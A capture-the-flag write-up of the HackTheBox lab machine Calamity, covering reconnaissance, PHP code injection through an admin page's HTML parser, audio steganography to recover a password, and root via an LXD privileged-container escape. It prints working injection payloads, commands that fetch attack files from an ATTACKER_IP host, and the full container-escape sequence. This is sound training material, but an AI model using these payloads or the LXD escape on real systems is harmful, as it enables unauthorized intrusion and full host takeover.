HTB: Calamity Writeup

Calamity - HackTheBox Writeup

Machine Information

AttributeDetails
NameCalamity
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.10.27
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Calamity is a Hard-rated Linux box that demonstrates a deceptively simple initial foothold followed by creative audio steganography and multiple privilege escalation paths. The machine features an HTML parser vulnerable to PHP injection, password recovery through audio file analysis, and either a challenging multi-stage buffer overflow exploit or an LXD container escape to root. The box tests enumeration skills, creative problem-solving for lateral movement, and knowledge of Linux privilege escalation vectors.

TL;DR: HTML parser PHP injection on admin.php → RCE as www-data → Audio steganography (subtracting wav files) → SSH as xalvas → LXD group abuse → Root container escape


Reconnaissance

Port Scanning

Terminal window
# Full port scan with service detection
nmap -sC -sV -T4 -p- 10.10.10.27

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache/2.4.18 (Ubuntu)

Only two services exposed: SSH and Apache on their default ports.

Service Enumeration

HTTP (Port 80)

Visiting the web root reveals a simple page. Directory enumeration exposes several interesting locations:

Terminal window
# Directory brute-forcing
gobuster dir -u http://10.10.10.27 -w /usr/share/wordlists/dirb/common.txt

Key findings:

  • /admin.php - Administrative interface requiring authentication
  • /uploads/ - Directory accessible for file browsing

Vulnerability Assessment

  1. HTML Parser with PHP Evaluation - The admin.php interface contains an HTML parser that executes PHP code
  2. Weak Authentication - Password disclosed in HTML comments
  3. Audio Steganography - Password hidden in audio file manipulation
  4. LXD Group Membership - User xalvas has LXD group access on i686 architecture
  5. Process Restrictions - Cron job kills interactive shells (nc, bash, sh connections)

Initial Foothold

Gaining Access to admin.php

First, examining the /admin.php source code reveals interesting details:

Terminal window
# View page source
curl http://10.10.10.27/admin.php

The HTML source contains a comment with a password: skoupidotenekes

The login form has swapped labels - the “Password” field is actually the username, and the “Username” field is the password. The correct credentials are:

  • Username field (actually password): skoupidotenekes
  • Password field (actually username): admin

After successful authentication, a cookie adminpowa=noonecares is set.

Exploiting the HTML Parser

The authenticated admin page features an “HTML Parser” with a ?html= parameter. Testing reveals this parameter evaluates PHP code, not just HTML:

Terminal window
# Test PHP execution
curl -b "adminpowa=noonecares" \
'http://10.10.10.27/admin.php?html=<?php phpinfo(); ?>'

This confirms remote code execution. However, there’s a complication: a cron job on the target actively kills processes matching nc, bash, and sh, making reverse shells unstable.

Workaround: One-Shot Commands

Instead of maintaining an interactive shell, execute commands via shell_exec and read output directly:

Terminal window
# Execute system commands via PHP
curl -b "adminpowa=noonecares" \
'http://10.10.10.27/admin.php?html=<?php echo shell_exec("id"); ?>'

This approach bypasses the process-killing mechanism by avoiding long-running shell processes.

Reading User Flag

With RCE established, we can read the user flag directly:

Terminal window
# Read user.txt
curl -b "adminpowa=noonecares" \
'http://10.10.10.27/admin.php?html=<?php echo shell_exec("cat /home/xalvas/user.txt"); ?>'

User flag obtained: <redacted>

Enumerating xalvas Home Directory

Terminal window
# List files in xalvas home
curl -b "adminpowa=noonecares" \
'http://10.10.10.27/admin.php?html=<?php echo shell_exec("ls -la /home/xalvas"); ?>'

Two interesting items discovered:

  • recov.wav - A recovery audio file
  • alarmclocks/ directory containing rick.wav

Privilege Escalation

Stage 1: www-data → xalvas (Audio Steganography)

Exfiltrating Audio Files

The uploads/ directory is web-accessible, allowing us to copy files there for download:

Terminal window
# Copy audio files to uploads directory
curl -b "adminpowa=noonecares" \
'http://10.10.10.27/admin.php?html=<?php shell_exec("cp /home/xalvas/recov.wav /var/www/html/uploads/"); ?>'
curl -b "adminpowa=noonecares" \
'http://10.10.10.27/admin.php?html=<?php shell_exec("cp /home/xalvas/alarmclocks/rick.wav /var/www/html/uploads/"); ?>'
# Download files locally
wget http://10.10.10.27/uploads/recov.wav
wget http://10.10.10.27/uploads/rick.wav

Audio Analysis and Password Recovery

The two files are nearly identical. The technique to extract hidden data involves:

  1. Cross-correlation - Aligning the two waveforms precisely
  2. Scaling - Normalizing amplitudes
  3. Subtraction - Computing the difference between the tracks
# Conceptual approach (using Audacity or similar tools)
# 1. Import both recov.wav and rick.wav
# 2. Invert one track (Effect -> Invert)
# 3. Mix both tracks together
# 4. The result isolates the difference (~5% residual)

The subtraction reveals a spoken password that has been split - the beginning of the password is at the end of the track, while the end is at the beginning. Playing the audio on loop or rearranging reveals:

Password: 18547936..*

SSH Access as xalvas

Terminal window
# Authenticate as xalvas
ssh xalvas@10.10.10.27
# Password: 18547936..*

Successful login confirms the audio steganography technique worked.

Stage 2: xalvas → root (LXD Container Escape)

Identifying the LXD Privilege Escalation Vector

Terminal window
# Check group membership
id

Output shows xalvas is a member of the lxd group. This is a well-known privilege escalation path - members of the LXD group can create privileged containers that mount the host filesystem.

The official intended path involves exploiting a custom binary (~/app/goodluck) through multi-stage 32-bit buffer overflow exploitation with ASLR/NX bypass. However, the LXD approach is more reliable and practical.

Architecture Consideration

Terminal window
# Check system architecture
uname -m

The system is i686 (32-bit x86), not x86_64. This is critical for creating a compatible container image.

Building an i686-Compatible LXD Image

On the attacker machine:

Terminal window
# Download Alpine Linux 32-bit minirootfs
wget http://dl-cdn.alpinelinux.org/alpine/v3.10/releases/x86/alpine-minirootfs-3.10.3-x86.tar.gz
# Create metadata for LXD
mkdir -p alpine-i686
cd alpine-i686
cat > metadata.yaml <<EOF
architecture: "i686"
creation_date: $(date +%s)
properties:
description: "Alpine Linux i686"
os: "alpine"
release: "3.10"
EOF
# Package the image
tar czf metadata.tar.gz metadata.yaml
mv ../alpine-minirootfs-3.10.3-x86.tar.gz rootfs.tar.gz
# Transfer both files to target
python3 -m http.server 8000

On the target as xalvas:

Terminal window
# Download image components
cd /tmp
wget http://ATTACKER_IP:8000/metadata.tar.gz
wget http://ATTACKER_IP:8000/rootfs.tar.gz

Importing and Launching the Privileged Container

Terminal window
# Import the image into LXD
lxc image import metadata.tar.gz rootfs.tar.gz --alias alpine-i686
# Verify import
lxc image list
# Create and start a privileged container mounting host root
lxc init alpine-i686 privesc -c security.privileged=true
# Mount host filesystem at /mnt/host inside container
lxc config device add privesc hostroot disk source=/ path=/mnt/host recursive=true
# Start the container
lxc start privesc
# Execute shell as root
lxc exec privesc /bin/sh

Reading Root Flag

Inside the container, we’re UID 0 with full access to the host filesystem:

Terminal window
# Navigate to host root
cd /mnt/host/root
# Read root flag
cat root.txt

Root flag obtained: <redacted>

The container runs as root, and because security.privileged=true was set, the container’s root user maps directly to the host’s root user (not namespaced). The mounted host filesystem at /mnt/host provides complete read/write access to the entire host system.


Attack Chain Summary

Port Scan (OpenSSH 7.2p2, Apache 2.4.18)
→ Admin.php Discovery (password in HTML comment: skoupidotenekes)
→ Authentication Bypass (swapped form labels - admin/skoupidotenekes)
→ PHP Code Injection (?html= parameter evaluates PHP)
→ RCE as www-data (one-shot shell_exec commands)
→ Audio File Exfiltration (recov.wav + rick.wav)
→ Audio Steganography (track subtraction reveals password: 18547936..*)
→ SSH as xalvas
→ LXD Group Enumeration (id command)
→ LXD Image Creation (i686 Alpine minirootfs)
→ Privileged Container Escape (security.privileged=true, host / mount)
→ Root Access

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP request manipulation and PHP exploitation
gobusterDirectory brute-forcing
wgetFile transfer from target to attacker
AudacityAudio analysis and track subtraction
sshRemote shell access
lxc/lxdContainer creation and privilege escalation
python3HTTP server for file transfer

Key Learnings

Techniques Practiced

  • Creative enumeration - Finding passwords in HTML comments and understanding UI misdirection (swapped labels)
  • Bypassing shell restrictions - Using one-shot commands instead of interactive shells to evade process-killing cron jobs
  • Audio steganography - Cross-correlation and track subtraction to extract hidden data from nearly-identical audio files
  • LXD/LXC container escapes - Exploiting group membership to create privileged containers with host filesystem access
  • Architecture awareness - Recognizing i686 vs x86_64 compatibility requirements for exploits and containers

Lessons Learned

  1. Always read HTML source carefully - Critical information like passwords may be hidden in comments or client-side code that isn’t visible in the rendered page.

  2. UI can be intentionally misleading - The swapped username/password labels demonstrate that form field labels may not match their actual function - test both combinations during authentication attempts.

  3. Process monitoring affects exploitation - When reverse shells fail consistently, investigate potential defensive mechanisms like cron jobs that kill specific processes. Adapt techniques accordingly (one-shot commands, renamed binaries, alternative shells).

  4. Audio steganography is practical - Signal processing techniques (correlation, inversion, subtraction) can extract hidden data from audio files. When multiple similar files exist, compare them systematically.

  5. Multiple paths to root exist - While the intended exploitation path involved complex memory corruption (buffer overflow → ASLR bypass → multi-stage ROP), recognizing simpler privilege escalation vectors (LXD group membership) can achieve the same goal more reliably.

  6. Architecture matters in exploitation - 32-bit (i686) vs 64-bit (x86_64) affects shellcode, ROP gadgets, container images, and compiled exploits. Always verify architecture before building or importing binaries.

  7. LXD group = root equivalent - Membership in the lxd group allows creation of privileged containers that bypass namespace isolation, effectively granting root access through container filesystem mounts.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References